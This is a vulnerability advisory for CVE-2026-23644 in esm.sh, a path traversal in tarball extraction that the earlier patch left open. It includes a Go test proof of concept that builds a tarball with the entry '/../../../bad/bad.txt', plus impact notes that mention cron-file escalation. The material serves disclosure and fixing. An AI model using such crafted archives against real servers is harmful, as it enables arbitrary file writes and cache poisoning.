CVE-2026-23644
EPSS 0.12%esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages
Description
### Summary The [commit](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16) does not actually fix the path traversal bug. `path.Clean` basically normalizes a path but does not prevent absolute paths in a malicious tar file. ### PoC This test file can demonstrate the basic idea pretty easily: ```go package server import ( "archive/tar" "bytes" "compress/gzip" "testing" ) // TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function // with a malicious tarball containing a path traversal attempt func TestExtractPackageTarball_PathTraversal(t *testing.T) { // Create a temporary directory for testing installDir := "./testdata/good" // Create a malicious tarball with path traversal var buf bytes.Buffer gw := gzip.NewWriter(&buf) tw := tar.NewWriter(gw) // Add a normal file content := []byte("export const foo = 'bar';") header := &tar.Header{ Name: "package/index.js", Mode: 0644, Size: int64(len(content)), Typeflag: tar.TypeReg, } if err := tw.WriteHeader(header); err != nil { t.Fatal(err) } if _, err := tw.Write(content); err != nil { t.Fatal(err) } // Add a malicious file with path traversal bad := []byte("bad") header = &tar.Header{ Name: "/../../../bad/bad.txt", Mode: 0644, Size: int64(len(bad)), Typeflag: tar.TypeReg, } if err := tw.WriteHeader(header); err != nil { t.Fatal(err) } if _, err := tw.Write(bad); err != nil { t.Fatal(err) } tw.Close() gw.Close() // Call extractPackageTarball with the malicious tarball if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil { t.Errorf("extractPackageTarball returned error: %v", err) } } ``` ### Impact It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages. Arbitrary file write _can_ lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to _enable_ code execution is unclear. The limiting factors in the default setup that limit escalating this to code execution: - `extractPackageTarball` has a file-extension check which makes some more "obvious" escalations like overwriting binaries in `/esm/bin` (e.g. `deno`) impractical since it requires the target file to have an allowlisted extension. - Using the `Dockerfile` in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to `/tmp` and it's home directory. - The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp. ### Fix Using [`os.Root`](https://go.dev/blog/osroot) seems like it will solve this issue and doesn't require new dependencies.
Affected packages (2)
- Go/github.com/esm-dev/esm.sh>= 0.0.1, <= 136
- Go/github.com/esm-dev/esm.shfrom 0, < 0.0.0-20260116051925-c62ab83c589e
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 4.0 | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P |
References (7)
- ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-23644
- PATCHhttps://github.com/esm-dev/esm.sh
- WEBhttps://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16
- WEBhttps://github.com/esm-dev/esm.sh/commit/c62ab83c589e7b421a0e1376d2a00a4e48161093
- WEBhttps://github.com/esm-dev/esm.sh/security/advisories/GHSA-2657-3c98-63jq
- WEBhttps://pkg.go.dev/vuln/GO-2025-4138
- WEBhttps://pkg.go.dev/vuln/GO-2026-4332